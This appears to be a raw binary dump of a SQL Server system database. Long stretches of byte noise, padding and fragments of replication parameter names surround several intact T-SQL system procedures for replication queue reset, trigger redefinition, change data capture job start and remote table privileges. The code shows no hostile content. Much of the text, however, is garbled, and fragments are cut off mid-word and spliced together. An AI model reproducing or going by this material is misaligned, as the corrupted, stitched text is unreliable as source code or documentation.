M@reason_code0-M@reason_text0-Y@origin_datasource0-$$A@pubid0-7E@lineage0-	88
W@conflicts_logged0-
88
M@compatlevel0-$$I@source_id0-88
I@tablenick0-$$E@rowguid0-7E@lineage0-88
M@compatlevel!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!9N

8
F@I"gG

X
	
	}	2	W~/s 7Yz-Joq`-L_)3IH-0-88
E@type_id0-I@type_name0-44K@max_length0-00I@precision0-00A@scale0-S@collation_name0-hhU@is_xml_document0-88
Y@xml_collection_id0-M@publication0-I@publisher0-O@publisher_db0-UI@owner_sid0-GTYPE_NAME0-44GDATA_TYPE0-44MDATA_TYPE_900-44MDATA_TYPE_280-88
KCOLUMN_SIZE0-88
QCOLUMN_SIZE_280-@@QLITERAL_PREFIX0-@@QLITERAL_SUFFIX0-	@@OCREATE_PARAMS0-
@@UCREATE_PARAMS_900-hhKIS_NULLABLE0-hhQCASE_SENSITIVE0-
88
ISEARCHABLE0-00YUNSIGNED_ATTRIBUTE0-hhUFIXED_PREC_SCALE0-00WAUTO_UNIQUE_VALUE0-SLOCAL_TYPE_NAME0-44OMINIMUM_SCALE0-44UMINIMUM_SCALE_900-44OMAXIMUM_SCALE0-44UMAXIMUM_SCALE_900-$$=GUID0-CTYPELIB0-CVERSION0-hhCIS_LONG0-hhIBEST_MATCH0-hhOBEST_MATCH_900-hhOBEST_MATCH_280-hhQIS_FIXEDLENGTH0-hhWIS_FIXEDLENGTH_900-44WMANAGED_DATA_TYPE0-J8USPECIFIC_CATALOG0-J8SSPECIFIC_SCHEMA0-J8OSPECIFIC_NAME0-J888
UORDINAL_POSITION0-J8QPARAMETER_MODE0-J8GIS_RESULT0-J8IAS_LOCATOR0-J8QPARAMETER_NAME0-J8	GDATA_TYPE0-J8
88
eCHARACTER_MAXIMUM_LENGTH0-J888
aCHARACTER_OCTET_LENGTH0-J8WCOLLATION_CATALOG0-J8
UCOLLATION_SCHEMA0-J8QCOLLATION_NAME0-J8_CHARACTER_SET_CATALOG0-J8]CHARACTER_SET_SCHEMA0-J8YCHARACTER_SET_NAME0-J800WNUMERIC_PRECISION0-J844cNUMERIC_PRECISION_RADIX0-J888
ONUMERIC_SCALE0-J844YDATETIME_PRECISION0-J8<<OINTERVAL_TYPE0-J844YINTERVAL_PRECISION0-J8gUSER_DEFINED_TYPE_CATALOG0-J8eUSER_DEFINED_TYPE_SCHEMA0-J8aUSER_DEFINED_TYPE_NAME0-J8OSCOPE_CATALOG0-J8MSCOPE_SCHEMA0-J8ISCOPE_NAME0-M@publication0-hhS@return_granted0-A@login0-hhO@initial_list0-I@publisher0-k88
K@request_id0-oI@publisher0-oK@subscriber0-o88
A@found0-ohhQ@show_password0-q$$A@pubid0-q$$A@artid0-qM@column_name0-I@publisher0-O@publisher_db0-M@publication0-]@alternate_publisher0-c@alternate_publisher_db0-a@alternate_publication0-a@alternate_distributor0-Q@friendly_name0-	(G@reservedc@alternate_publisher_db0-a@alternate_publication0-a@alternate_distributor!!!!!!!!!bwRYrED;&)c;F

8WdAG
Pu2

]

	j		kx-8Kj#BGj`-);)IAJ	2ã0-o00=Attr0-oCLimitId0-o@;WKB0-oE@gGeoObj0-o88
M@cardinality0-o88
G@maxDepth0-o88
W@tessellationMode0-o>>5S@distanceBuffer0-x88
Kdms_core_id0-x88
Kpdw_node_id0-x@@Astatus0-BR$$;@id0-BR$$G@step_uid0-BR?@name0-BR88
S@frequency_type0-BR88
[@frequency_interval0-BR88
W@frequency_subday0-BR88
i@frequency_subday_interval0-BR88
m@frequency_relative_interval0-BR	88
m@frequency_recurrence_factor0-BR
88
Y@active_start_date0-BR88
U@active_end_date0-BR88
g@active_start_time_of_day0-BR
88
c@active_end_time_of_day0-BRA@login0-BRG@password0-BR88
G@proxy_id0-`I@publisher0-`O@publisher_db0-`M@publication0-`M@distributor0-`88
i@distributor_security_mode0-`Y@distributor_login0-`_@distributor_password0-`M@ftp_address0-`	88
G@ftp_port0-`
I@ftp_login0-`O@ftp_password0-`]@alt_snapshot_folder0-`
Y@working_directory0-`hhE@use_ftp0-`hhQ@offload_agent0-`S@offload_server0-8~gphysical_memory_in_use_kb0-8~glarge_page_allocations_kb0-8~ilocked_page_allocations_kb0-8~qtotal_virtual_address_space_kb0-8~wvirtual_address_space_reserved_kb0-F88
K@prof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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!J

?
De
`
		]		B~7,~;6uMj%4K``M-u)PK.00-=name0-88
Gobject_id0-88
Gschema_id0-44Uprocedure_number0-=type0-==Kcreate_date0-"$$A@pubid0-"44_@use_partition_groups0-"hhU@dynamic_filters0-"hhg@can_use_partition_groups0-"hh]@has_dynamic_filters0-"q@dynamic_filters_function_list0-"hhS@uses_host_name0-"hhW@uses_suser_sname0-P$$A@pubid0-P$$A@subid0-PK@subscriber0-PQ@subscriber_db0-PhhA@valid0-Phh[@force_delete_other0-P[@subscriber_deleted0-P_@subscriberdb_deletedE@srcguid0-c
G@replnick0-c
88
M@compatlevel0-k88
Ilocal_node0-k88
Kremote_node0-kx4xIpage_class0-kIread_count0-kKwrite_count0-k88
Kpdw_node_id0-L^88
Egroup_id0-L^Igroup_name0-gphysical_memory_in_use_kb0-glarge_page_allocations_kb0-ilocked_page_allocations_kb0-1:O@program_name0-1:U@constraint_name0-1:Q@parent_schema0-1:M@parent_name0-1:g@referenced_object_schema0-1:c@referenced_object_name0-1:hhc@is_not_for_replication0-1:hhS@is_not_trusted0-1:	00i@delete_referential_action0-1:
00i@update_referential_action0-mO@linkedserver0-[88
A@objid0-[88
A@artid0-88
I@src_objid0-88
A@artid0-hhQ@artcolcounter0-88
M@param_count0-00Q@publishertype0-hhm@userdefinedtypestobasetypes0-hhK@xmltontext0-hhq@maxtypestomatchingnonmaxtypes0-	hhO@maptimestamp0-
hhU@setdefaultnulls0-hhi@newdatetimetypestostrings0-hhi@hierarchyidtovarbinarymax0-
hh}@largeuserdefinedtypestovarbinarymax0-hhk@spatialtypestovarbinarymax0-tBM@publication0-tBK@dest_table0-tBK@dest_owner0-Xy88
A@artid0-N00?@mode0-N$$G@agent_id0-N00K@agent_type0-N88
K@session_id0-N00S@session_status0-NS@monitor_server0-NG@database0-N==G@log_time0-N	==O@log_time_utc0-N
@E@message0-M@W@capture_instance0-y88
I@tablenick0-y88
M@changecount0-yE@gen_cur0-,U}M@publication0-,U}O@source_table0-,U}O@source_owner0-IcM@publication0-Ichh[@ignore_distributor0-IchhG@reserved0-Ichha@ignore_merge_metadata0-"$$A@pubid0-"44_@use_partition_groups0-"hhU@dynamic_filters0-"hhg@can_use_partition_groups0-"hh]@has_dynamic_filters0-"q@dynamic_filters_function_list0-"hhS@uses_host_name0-"hhW@uses_suser_sname0-P$$A@pubid0-P$$A@subidl2dI;^+`-G)K	'LOϙNZ0-44?docid0-88
?score0-88
G@clauseno0-88
Egroup_id0-Igroup_name0-t;88
GOBJECT_ID0-t;88
GSCHEMA_ID0-t;CGRANTOR0-t;CGRANTEE0-t;OTABLE_CATALOG0-t;MTABLE_SCHEMA0-t;ITABLE_NAME0-t;KCOLUMN_NAME0-t;	$$KCOLUMN_GUID0-t;
88
OCOLUMN_PROPID0-t;<<QPRIVILEGE_TYPE0-t;hhMIS_GRANTABLE0-tM@publication0-tE@article0-tO@source_table0-tY@destination_table0-t
[@vertical_partition0-t?@type0-tC@filter0-tM@sync_object0-t	E@ins_cmd0-t
E@del_cmd0-tE@upd_cmd0-tU@creation_script0-t
M@description0-tW@pre_creation_cmd0-tccQ@filter_clause0-tQ@schema_option0-tY@destination_owner0-t00C@status0-tO@source_owner0-tY@sync_object_owner0-tO@filter_owner0-tQ@source_object0-t88
A@artid0-t
]@auto_identity_range0-t[@pub_identity_range0-tS@identity_range0-t88
I@threshold0-thhi@force_invalidate_snapshot0-thha@use_default_datatypes0-tq@identityrangemanagementoption0-tI@publisher0-t 
i@fire_triggers_on_snapshot0-ݢ
M@object_name0->'M@publication0-$$A@subid0-A@login0-88
?@type0-I@EventData0-j88
E@artnick0-kРM@publication0-kРE@article0-kРK@filtername0-kРhhi@force_invalidate_snapshot0-kРhhi@force_reinit_subscription0-Q@source_object0-$$E@rowguid0->I@publisher0->O@publisher_db0->M@publication0->]@alternate_publisher0->c@alternate_publisher_db0->a@alternate_publication0-P88
A@objid0-PO@deleted_colsWdestination_scale0- Phh]destination_nullable0- P88
edestination_createparams0- PhhEdataloss0- PhhIis_default0- PM@source_dbms0- PS@source_version0- PM@source_type0- PW@destination_dbms0- P]@destination_version0- PW@destination_type0- PhhQ@defaults_only0-M@publication0-K@subscriber0-Q@subscriber_db0-I@publisher0-tM@publication0-tE@article0-tO@source_table0-tY@destination_table0-t
[@vertical_partition0-t?@type0-tC@filter0-tM@sync_object0-t	E@ins_cmd0-t
E@del_cmd0-tE@upd_cmd0-tU@creation_script0-t
M@description0-tW@pre_creation_cmd0-tcc@
v
-
"A

V
		[		bFi|/6v)LcBcA)Lj%>`X-	.)
M]2
8|0-J88
E@ver_old0-J88
Q@ver_retention0-_G@rolename0-_G@password0-£C@Server0-£W@SelectColumnList0-£G@InsTable0-£Q@InsColumnList0-GUe@publisher_linked_server0-GU[@original_publisher0-GUO@publisher_db0-GU]@replica_server_name0-00?@mode0-$$G@agent_id0-00K@agent_type0-88
K@session_id0-88
U@sequence_number0-S@monitor_server0-hho@monitor_server_security_mode0-G@database0-	==G@log_time0-
==O@log_time_utc0-@E@message0-@C@source0-
@G@help_url-Ʋhh0-?`[@destination_server0-?`M@publication0-?`E@article0-?`88
I@show_rows0-j88
O@partition_id0-j88
E@maxrows0-j@E@genlist0-j88
I@tablenick0-j$$E@rowguid0-j$$A@pubid0-jC@mingen0-jC@maxgen0-j	hha@enumentirerowmetadata0-s|G@command10-s|M@replacechar0-s|G@command20-s|G@command30-s|G@whereand0-s|K@precommand0-s|M@postcommandW@frequency_subday0-v	88
i@frequency_subday_interval0-v	88
m@frequency_relative_interval0-v	88
m@frequency_recurrence_factor0-v	88
Y@active_start_date0-v		88
U@active_end_date0-v	
88
g@active_start_time_of_day0-v	88
c@active_end_time_of_day0-v	Y@snapshot_job_name0-v	
88
e@publisher_security_mode0-v	U@publisher_login0-v	[@publisher_password0-v	I@job_login0-v	O@job_password0-v	I@publisher-
hh0-£C@Server0-£W@SelectColumnList0-£G@InsTable0-£Q@InsColumnList0-	88
A@artid0-	00C@format0-	00?@mode0-	00Q@publishertype0-	I@publisher0-	hhI@usesqlclr0-x88
I@src_objid0-x88
A@artid0-.I@publisher0-.O@publisher_db0-.K@subscriber0-.88
K@article_id0-.88
C@status0-.[@subscription_seqno0-.S@destination_db0-88
K@agent_type0-88
G@agent_id0-88
G@error_id0-88
W@alert_error_code0-K@xact_seqno0-88
K@command_id0-I@publisher0-O@publisher_db0-	K@subscriber0-
Q@subscriber_db0-ccW@alert_error_text0-GUe@publisher_linked_server0-GU[@original_publisher0-GUO@publisher_db0-GU]@replica_server_name0-00?@mode0-$$G@agent_id0-00K@agent_type0-88
K@session_id0-88
U@sequence_number0-S@monitor_servert7
g

		O		7J:pw2U>a"=v
`

>S

A
		h	e	2`

-h	:)^
.NC
K40-
O@identity_col0-
C@ts_col0-
	hhO@include_type0-

hhI@set_nulls0-
E@op_type0-
hhC@is_new0-

[@primary_key_bitmap0-
hhI@no_output-@0-$$?@guid0-pJW@application_name0-pJ88
K@agent_type0-'Qmemory_address0-'_parent_memory_address0-'hhEis_retry0-'44Isession_id0-'88
[processed_row_count0-'88
Kerror_count0-4I@publisher0-4O@publisher_db0-4M@publication0-4Q@failover_mode0-400G@override-@0-@S@command_string0-44Qtrace_event_id0-44Strace_column_id0-4Osubclass_name0-44Qsubclass_value0-S4Kobject_name0-S4Mcounter_name0-S4Oinstance_name0-SIcntr_value0-S88
Gcntr_type0-BM@source_dbms0-BS@source_version0-BW@destination_dbms0-B]@destination_version0-nW@qual_object_name0-U@originator_node0-Q@originator_db0-c@originator_publication0-88
i@originator_publication_id0-88
a@originator_db_version0-88
Q@originator_id0-88
[@originator_version0-I@publisher0-O@publisher_db0-M@publication0-hhY@exclude_anonymous0-:|W@capture_instance0-]M@publication0-]K@subscriber0-]Q@subscriber_db0-]I@publisher0-]O@publisher_db0-]K@web_server0-]88
;@idS@source_version0-BW@destination_dbms0-B]@destination_version0-nW@qual_object_name0-n88
A@objid0-n_@pass_through_scripts0-n[@target_object_name0-:S@publisher_type0-:I@publisher0-:O@source_table0-:O@source_owner0-:88
W@publication_type0-U@originator_node0-Q@originator_db0-c@originator_publication0-88
i@originator_publication_id0-88
a@originator_db_version0-88
Q@originator_id0-88
[@originator_version0-I@publisher0-O@publisher_db0-M@publication0-hhY@exclude_anonymous0-WI@publisher0-WO@publisher_db0-WM@publication0-WK@subscriber0-WQ@subscriber_db0-W00C@status0-W00Y@subscription_type0-W00I@sync_type0-W	88
S@frequency_type0-W
88
[@frequency_interval0-W88
m@frequency_relative_interval0-W88
m@frequency_recurrence_factor0-W
88
W@frequency_subday0-W88
i@frequency_subday_interval0-W88
g@active_start_time_of_day0-W88
c@active_end_time_of_day0-:|W@capture_instance!
		<	w*Q7


hZ)Dax}&_
h
Yt'mA`-3)
OG ׹%0-cM@publication0-cY@working_directory0-c88
Y@subscription_type0-I@publisher0-O@publisher_db0-M@publication0-K@subscriber0-Q@subscriber_db0-88
g@subscriber_security_mode0-W@subscriber_login0-]@subscriber_password0-	M@distributor0-
U@distribution_db0-88
i@distributor_security_mode0-Y@distributor_login0-
_@distributor_password0-@a@optional_command_line0-88
S@frequency_type0-88
[@frequency_interval0-88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
W@frequency_subday0-88
i@frequency_subday_interval0-88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-88
Y@active_start_date0-88
U@active_end_date0-[@distribution_jobid0-hhs@encrypted_distributor_password0-
]@enabled_for_syncmgr0-M@ftp_address0-88
G@ftp_port0-I@ftp_login0-O@ftp_password0- ]@alt_snapshot_folder0-!Y@working_directory0-"
E@use_ftp0-#00W@publication_type0-$W@dts_package_name0-%_@dts_package_password0-&_@dts_package_location0-'G@reserved0-(
O@offloadagent0-)Q@offloadserver0-*G@job_name0-+I@job_login0--M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2_09{pu/9jR,	~4	mz	o	L?		AO		P	46	:0	=1	~V`8	:uP
X
d,<d(
|h
\|p
8
H
x`Lt
x@d (<8tP,4@X`t0LxD8$lP$

T
@D$Xl	(p\		DHl
4 

	p`
8$l(<PXD0|,@	H4h0
t|hT
D
@,L
0
 	
	xdTT<|h\

H	\	xd	P`L 

<4	(hTp	,	t0`?<eR2%0VL 8create procedure sys.sp_MSreset_queue (
    @publisher      sysname,                    -- publishing server name
    @publisher_db   sysname,                    -- publishing database name. 
    @publication    sysname,                    -- publication name,
    @artid         int)
as
begin
    declare @subserver sysname
            ,@subdbname sysname
            ,@queue_id  sysname
            ,@update_mode int
            ,@retcode smallint
            ,@vbartid varbinary(20)
            ,@queue_server sysname

    set nocount on

    select     @subserver = @@servername, 
            @subdbname = db_name(),
            @update_mode = update_mode, 
            @queue_id = queue_id,
            @queue_server = queue_server
    from MSsubscription_agents
        where UPPER(publisher) = UPPER(@publisher)
            and publisher_db =  @publisher_db
            and publication = @publication

    if (@update_mode in (2,3))
    begin
        --
        -- MSMQ processing
        -- prefix the queue_id with queue server in direct format
        -- and then perform the queue reset
        --                        
        select @queue_id = N'DIRECT=OS:' + @queue_server + N'\PRIVATE$\' + @queue_id
        
        begin distributed tran
        exec @retcode = sys.xp_resetqueue @queue_id, @subserver, 
                            @subdbname, @publication, @artid
        if (@retcode != 0 or @@error != 0)
        begin
            if (@@trancount > 0)
                rollback tran
            return (1)    
        end
    end
    else if (@update_mode in (4,5))
    begin
        declare @tranid sysname

        begin tran
        --
        -- process MSreplication_queue
        --
        select @retcode = 0
        if (exists (select * from sys.objects 
            where name = 'MSreplication_queue'))
        begin
            --
            -- Strictly speaking we do no need
            -- to delete but, makes it easy for
            -- the queue reader agent
            -- Do not delete any reset messages
            --
            delete dbo.MSreplication_queue
                where publisher = UPPER(@publisher)
                and publisher_db =  @publisher_db
                and publication = @publication
                and tranid not like N'sub-reset%'
        end
        else
        begin
            --
            -- first queue subscription is being initialized
            -- create queue if necessary
            --
            exec @retcode = sp_MScreate_sub_tables_internal
                @tran_sub_table = 0,
                @property_table = 0,
                @sqlqueue_table = 1
        end
        if (@retcode != 0 or @@error != 0)
        begin
            if (@@trancount > 0)
                rollback tran
            return (1)    
        end
        --
        -- process MSrepl_queuedtraninfo
        --
        if (exists (select * from sys.objects 
            where name = 'MSrepl_queuedtraninfo'))
        begin
            --
            -- Strictly speaking we do no need
            -- to delete but, makes it easy for
            -- the queue reader agent
            -- Do not delete any reset messages
            --
            delete dbo.MSrepl_queuedtraninfo
                where publisher = UPPER(@publisher)
                and publisher_db =  @publisher_db
                and publication = @publication
                and tranid not like N'sub-reset%'
        end
        else
        begin
            --
            -- first queue subscription is being initialized
            -- create the traninfo if necessary
            --
            exec @retcode = sp_MScreate_sub_tables_internal
                @tran_sub_table = 0,
                @property_table = 0,
                @sqlqueue_table = 1
        end
        if (@retcode != 0 or @@error != 0)
        begin
            if (@@trancount > 0)
                rollback tran
            return (1)    
        end
        --
        -- for subscription reinitialization we
        -- need to insert a RESYNC command message
        --
        select @vbartid = cast(@artid as varbinary(20))
                ,@tranid = N'sub-reset-' + cast(NEWID() as sysname)
        insert into dbo.MSreplication_queue (publisher, publisher_db,
            publication,tranid, commandtype, data, datalen)
        values (UPPER(@publisher), @publisher_db, 
            @publication, @tranid, 2, @vbartid, datalength(@vbartid))
        if ((@@error != 0) or (@retcode != 0))
        begin
            if (@@trancount > 0)
                rollback tran
            return (1)    
        end
        --
        -- add an entry in MSrepl_queuedtraninfo
        --
        insert into dbo.MSrepl_queuedtraninfo (publisher,publisher_db,publication,tranid,maxorderkey,commandcount)
        values (UPPER(@publisher),@publisher_db,@publication,@tranid,@@identity,1)
    end

    commit tran
    return 0
end            
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<eSB.E0w~ 8create procedure sys.sp_MSrepltrigredefine 
(
    @security_mode int    
    ,@islocalpub bit  -- local or remote publisher
    ,@contextuser sysname -- context name
    ,@publisher sysname  -- publisher
    ,@publisher_db sysname -- publisher db
    ,@publication sysname -- publication
)
as
begin
    set nocount on
    declare @retcode int
                ,@certname sysname
                ,@objectname nvarchar(517)
                ,@object_id int
                ,@procdef nvarchar(max)
                ,@cmd nvarchar(max)
                ,@offsetwithstmt int
                ,@offsetforstmt int
                ,@offsetonstmt int
                ,@triglen bigint
                ,@rpcproc nvarchar(256)
                ,@dbname sysname

    --
    -- proceed only if needed
    --
    if (object_id('dbo.MSreplication_objects') is null)
        return 0
    --
    -- check if we have any certificate associate with the replication triggers
    --
    select distinct @certname = c.name 
    from sys.crypt_properties cp join sys.certificates c 
        on cp.thumbprint = c.thumbprint
    where object_name(cp.major_id) in 
        (select object_name 
            from dbo.MSreplication_objects
            where upper(publisher) = upper(@publisher)
                and publisher_db = @publisher_db
                and publication = @publication
                and object_type = 'T')
    if (@certname is not null)
    begin
        --
        -- drop cert on publisher db only if the database name matches with 
        -- with subscriber db (local db) in the certificate 
        -- when we attach subscriber databases the certificates will contain 
        -- the old subscriber db name and we cannot drop these on publisher db
        --
        select @dbname = db_name()
        if (substring(@certname, 10, len(@dbname)) = @dbname)
        begin
            if (@islocalpub = 0)
            begin
                select @rpcproc = N'master.sys.sp_MSrepltrigcertgrant'
                exec @rpcproc @mode = 2
                                    ,@islocalpub = @islocalpub
                                    ,@certname = @certname
                                    ,@targetdb = N'master'
            end
            else
            begin
                select @rpcproc = quotename(@publisher_db) + N'.sys.sp_MSrepltrigcertgrant'
                exec @rpcproc @mode = 2
                                    ,@islocalpub = @islocalpub
                                    ,@certname = @certname
                                    ,@targetdb = @publisher_db
            end
        end
        --
        -- drop cert on subscriber db
        --
        exec sys.sp_MSrepltrigpreparecert @mode = 2
                                    ,@certname = @certname
                                    ,@publisher = @publisher
                                    ,@publisher_db = @publisher_db
                                    ,@publication = @publication
    end
    --
    -- For each trigger
    --    
    declare #hctriggers cursor local fast_forward for
        select quotename(schema_name(o.schema_id)) + N'.' + quotename(o.name), o.object_id
        from dbo.MSreplication_objects as ro 
            join sys.objects as o 
        on ro.object_name = o.name
            and upper(ro.publisher) = upper(@publisher)
            and ro.publisher_db = @publisher_db
            and ro.publication = @publication
            and ro.object_type = 'T'
    open #hctriggers
    fetch #hctriggers into @objectname, @object_id
    while (@@fetch_status = 0)
    begin
        --
        -- Get the trigger definition
        --
        select @procdef = null
        select @procdef = definition 
        from sys.sql_modules 
        where object_id = @object_id
        if (@procdef is null)
        begin
            --
            -- trigger does not exist 
            -- skip and continue
            --
            fetch #hctriggers into @objectname, @object_id
            continue
        end
        
        select @triglen = len(@procdef)
                ,@offsetonstmt = charindex(N'on', @procdef)
                ,@offsetforstmt = charindex(N'for', @procdef)
                ,@offsetwithstmt = charindex(N'with execute', @procdef)
        -- select @objectname = rtrim(ltrim(substring(@procdef, 15, @offsetonstmt - 15)))
        --
        -- Process based on security mode
        --
        if (@security_mode = 0)
        begin
            --
            -- we have to include with execute = @contextuser in the definition
            --
            select @cmd = N'drop trigger ' + @objectname
            exec(@cmd)
            if (@@error != 0)
                return 1
            select @cmd = case when (@offsetwithstmt = 0) then substring(@procdef, 1, @offsetforstmt - 1) 
                                    else substring(@procdef, 1, @offsetwithstmt - 1) end
            select @cmd = @cmd + N'with execute as N''' + sys.fn_replreplacesinglequote(@contextuser) + N''' ' + substring(@procdef, @offsetforstmt, @triglen)
            exec(@cmd)
            if (@@error != 0)
                return 1
        end
        else
        begin
            --
            -- we have to remove the with execute as if it exists
            --
            if (@offsetwithstmt != 0)
            begin
                select @cmd = N'drop trigger ' + @objectname
                exec(@cmd)
                if (@@error != 0)
                    return 1
                select @cmd = substring(@procdef, 1, @offsetwithstmt - 1) 
                    + substring(@procdef, @offsetforstmt, @triglen)
                exec(@cmd)
                if (@@error != 0)
                    return 1
            end
        end
        --
        -- fetch the next trigger
        --
        fetch #hctriggers into @objectname, @object_id
    end
    close #hctriggers
    deallocate #hctriggers
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`D
<%	TM1+
0+Z 8CREATE VIEW sys.dm_resource_governor_resource_pool_affinity AS
	SELECT *
	FROM OpenRowSet(TABLE DM_RG_POOL_AFFINITY)
0 D8e&h>!}0@ P8(8hg>x>My0x G8create procedure sys.sp_cdc_start_job
(
	@job_type nvarchar(20) = N'capture'
)	
as
begin
    set nocount on

    declare @job_id uniqueidentifier
           ,@retcode int
           ,@db_name sysname
  
    set @db_name = db_name()
           
	-- Verify SQL Server edition
    -- CDC is restricted to Eval, Enterprise and Developer editions
    if (sys.fn_MSrepl_editionid () not in (30,31))
    begin
        declare @edition sysname
        select @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
        raiserror(22988, 16, -1, @edition)
        return (1)
    end

    --
    -- Job security check proc
    --
    exec @retcode = [sys].[sp_MScdc_job_security_check]
    if @retcode <> 0 or @@error <> 0
        return(1)
        
    -- Verify database is currently enabled for change data capture
    if ([sys].[fn_cdc_is_db_enabled]() != 1)
    begin
		raiserror(22901, 16, -1, @db_name)
        return 1
    end
        
	set @job_type = rtrim(ltrim(lower(@job_type)))
	        
    -- Verify parameter
    if ((@job_type is null) or (@job_type not in (N'capture', N'cleanup')))
    begin
        raiserror(22992, 16, -1, @job_type)
        return(1)
    end
    
    --
    -- Insure that transactional replication is not also enabled for the database
    --
    if (@job_type = N'capture')
    begin
		exec @retcode = [sys].[sp_MScdc_tranrepl_check] 
		if @retcode <> 0 or @@error <> 0
			return (1)
	end
	
	-- Call internal procedure to start the job
	exec @retcode = sys.sp_cdc_start_job_internal
		@job_type
		
	if @@error <> 0 or @retcode <> 0
		return 1
		
	return 0		
end

--
-- Name: [sys].[sp_cdc_stop_job_internal]
--
-- Description:
--	Stops the CDC job if it exists
--
-- Parameters: 
--   @job_type	'capture' (default), 'cleanup'
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Internal.
--
--	        Module requires with execute as 'dbo' in order to authorize
--          access to msdb.
-- 
raiserror(15339,-1,-1,'[sys].[sp_cdc_stop_job_internal]')
n client is connected to Yukon server.
--
create procedure sys.sp_table_privileges_rowset;5
(
    @table_server       sysname,
    @table_catalog      sysname = null,
    @table_name         sysname = null,
    @table_schema       sysname = null,
    @grantor            sysname = null,
    @grantee            sysname = null
)
as
    select
        GRANTOR,
        GRANTEE,
        TABLE_CATALOG,
        TABLE_SCHEMA,
        TABLE_NAME,
        PRIVILEGE_TYPE,
        IS_GRANTABLE
    from
        sys.fn_remote_table_privileges (@table_server,
                                        @table_catalog,
                                        @table_schema,
                                        @table_name,
                                        @grantor,
                                        @grantee)
    order by 3,4,5,6,1,2
